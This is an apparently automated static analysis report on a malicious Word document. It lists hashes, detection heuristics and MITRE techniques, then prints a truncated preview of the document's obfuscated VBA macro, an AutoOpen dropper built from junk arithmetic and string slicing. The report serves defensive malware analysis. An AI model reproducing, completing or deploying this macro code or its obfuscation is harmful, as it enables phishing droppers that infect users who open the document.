Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa8bed035b2be7d9…

MALICIOUS

Office (OLE)

231.0 KB Created: 2017-12-20 07:40:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 1385d677edf905c66fdaf2e11365328d SHA-1: ad77b987e4ed275f1a387d0fbbda7480f88bf6f9 SHA-256: aa8bed035b2be7d945f62571db718fb9cea9d74de773d4f01796e109dc6de728
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a large VBA macro. The macro utilizes the AutoOpen function and the Shell() function, indicating an attempt to execute arbitrary code. ClamAV detection further supports its malicious nature. The obfuscated nature of the VBA code prevents a more detailed analysis of the payload, but the intent is clearly to download and execute a secondary stage.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://7SN+7SNww In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87680 bytes
SHA-256: 8221a95773bca3d2aedd3c4269e0793bc29d1514d4b0ec06d33189a82a320213
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mrYVGlizEk"
Sub AutoOpen()
On Error Resume Next
uCbitppGN = (2772 * CStr(zFjmvbtFH * Rnd(FzUDwUmLcYzdsB)) / 1988 / ChrB(zRWBzKwTjkNuE * CBool(136465363 - CDbl(XtFHpbuhYlYD + ioSVMiuzKXD)))) + (179478542 / Fix(982) - pJjoSiZi * Fix(EitWCawQskc + Log(jSiNPAMJlNWBzA)))
ROsGDwUBZ = (2772 * CStr(YzKHwhRm * Rnd(PIrBbDiNZrr)) / 1988 / ChrB(rZCIiXmj * CBool(136465363 - CDbl(ZisUoQqELDw + airaMRCVlvKi)))) + (179478542 / Fix(982) - jZHzPKf * Fix(zpiwhmn + Log(INnvYRrKhVFjL)))
siUKSIqiF = (2772 * CStr(tQddsNbffPdchW * Rnd(dPiwRtEvuEKKo)) / 1988 / ChrB(izIDSuiun * CBool(136465363 - CDbl(zFqaThPwzXosHl + BoVjZhDnQBSVZ)))) + (179478542 / Fix(982) - cIjbkzLDi * Fix(MoOMQalpWPR + Log(ILOQuSa)))
YAMphVOEQ = (2772 * CStr(mbwKtXkTqW * Rnd(QczJzWAYNUFtc)) / 1988 / ChrB(bzwhrCV * CBool(136465363 - CDbl(SkoTvPniwD + kIYNfjwOjDCjiV)))) + (179478542 / Fix(982) - RXlmzTU * Fix(KPViakkjXBzrzD + Log(SzsooRQDGzrz)))
Application.Run "uTaXXwPkU", JmuriHcwjHniJL
QsKEbQNOw = (2772 * CStr(EXiwTffk * Rnd(HOkSoGffdtM)) / 1988 / ChrB(hjmTqMzVb * CBool(136465363 - CDbl(ooItUKszkXVU + ijaWzwljUmuX)))) + (179478542 / Fix(982) - rcdShOCXZwJum * Fix(mjJouNzDnP + Log(AZpAUBOWjSQTR)))
qHRMIjQbL = (2772 * CStr(zDKwAKpnoNc * Rnd(oMXFuvYGCWMr)) / 1988 / ChrB(mvmuEzPpwqwJDN * CBool(136465363 - CDbl(ribGpJSF + DoVCFYcqTANOC)))) + (179478542 / Fix(982) - kONrqVavrhMOX * Fix(GBoUpwqPdMkaOG + Log(CAzolqrcRckPI)))
znqqAhkRM = (2772 * CStr(ZGCUkBHPHTEoh * Rnd(amEOZXsFh)) / 1988 / ChrB(SpVuZjWYqGYi * CBool(136465363 - CDbl(VGbJMcvDIGcP + dVsoBTYTC)))) + (179478542 / Fix(982) - fNqbzjzaqsCjIz * Fix(fdliKjtiK + Log(AjBFEJP)))
TLvwVBzXK = (2772 * CStr(lWMuMubVqnp * Rnd(MmifXwAvUmjnP)) / 1988 / ChrB(CRJboHzCHHwJnl * CBool(136465363 - CDbl(kNWabzINpdA + OLznYiPsJL)))) + (179478542 / Fix(982) - whsJfahOJ * Fix(VkYNMoztE + Log(wnlkrHUZiX)))
End Sub
Function JmuriHcwjHniJL()
On Error Resume Next
cqFRlZnJ = (2772 * CStr(mDcAszQwpdvwm * Rnd(UGtnuVuu)) / 1988 / ChrB(JXAVQCdfKACln * CBool(136465363 - CDbl(chSfNztTHR + owGjstssMT)))) + (179478542 / Fix(982) - scAtMzlwkah * Fix(QGcpjuwpQiBb + Log(WwSGJtb)))
ELwnbuhqG = (2772 * CStr(ESqPhvlTvVz * Rnd(vujuICIXPnOHC)) / 1988 / ChrB(SjRVNWkz * CBool(136465363 - CDbl(rVRBizzqESf + MckMHWOKREjNY)))) + (179478542 / Fix(982) - ECZIcCzOpYr * Fix(daPwJoW + Log(FEjJFzWnO)))
oaafkrSz = Mid("4O4B3RdRuvj3iA9ZJ3EhShZ7RfrN+7SN/,hDc91LV5itc8O", 28, 8)
TaQcJGvlRW = (2772 * CStr(zpqiTnv * Rnd(JhtHQqcPDMzO)) / 1988 / ChrB(MJaYppBSrbh * CBool(136465363 - CDbl(dQRmKMH + HHBIUnj)))) + (179478542 / Fix(982) - CDzvNbnjPF * Fix(zuPSGMBnaLc + Log(zqLWFHSECJhQn)))
tGGCu = (2772 * CStr(FtBcnuqWGwIt * Rnd(dBzoikEjKW)) / 1988 / ChrB(qaHVomYLnoM * CBool(136465363 - CDbl(Zmkqzmtwl + SXLjvabFCv)))) + (179478542 / Fix(982) - alNnUhUZwF * Fix(RjaBzuFwQYqR + Log(jJHqwkil)))
WLbcQTIB = (2772 * CStr(lsBdlXFiJHr * Rnd(vvSAFIZKzEBFh)) / 1988 / ChrB(zBboNzicaJ * CBool(136465363 - CDbl(waFnQhEiQMWl + DYqdfjq)))) + (179478542 / Fix(982) - vMZDHVusKSVJOI * Fix(UWhXzaRLaPYk + Log(IAwtSoBNfjILK)))
lMtVfb = Mid("wIYZYMlr604+7'+'SNSPnsadas7SN+7SNd.next(1, 3437SN+7SN'+'245);7SN'+'+7SNvSPhuas = 7SN+7SNvSPenIFZ+IFZv:7SN+7SNpubli7SN+7SNc 7SN+7SN+ 7SN+7SNZw'+'bfv'+'eZwb 7S'+'N+7SN'+'+7SN+7SN vSPkarapKILjwGswkwDTjwb", 12, 174)
WJkvPkjins = (2772 * CStr(uwAXCiFZY * Rnd(TkGcGucjzFizk)) / 1988 / ChrB(FDLZdaMXvA * CBool(136465363 - CDbl(bAarbrqzBzWdj + wWDjjmv)))) + (179478542 / Fix(982) - jRwSfwwbw * Fix(FniuBpXOnziXj + Log(fXjDJoPOsNU)))
WCzYu = (2772 * CStr(wjOQbszNrzd * Rnd(VotCEcfjKzJZu)) / 1988 / ChrB(UwuvkNhFzWNNqF * CBool(136465363 - CDbl(rFYInBMNh + vArQwaoV)))) + (179478542 / Fix(982) - XDTwPPLPpXo * Fix(mZUStlQGwIiMo + Log(NppAwZrMhMYJI)))
ljkSYBsV = (2772 * CStr(sJLuBaBh * Rnd(sXCVOLRwvf)) / 1988 / ChrB(iYnHPuSH * CBool(136465363 - CDbl(qvRarwOCtw + WBCmAiiu)
... (truncated)

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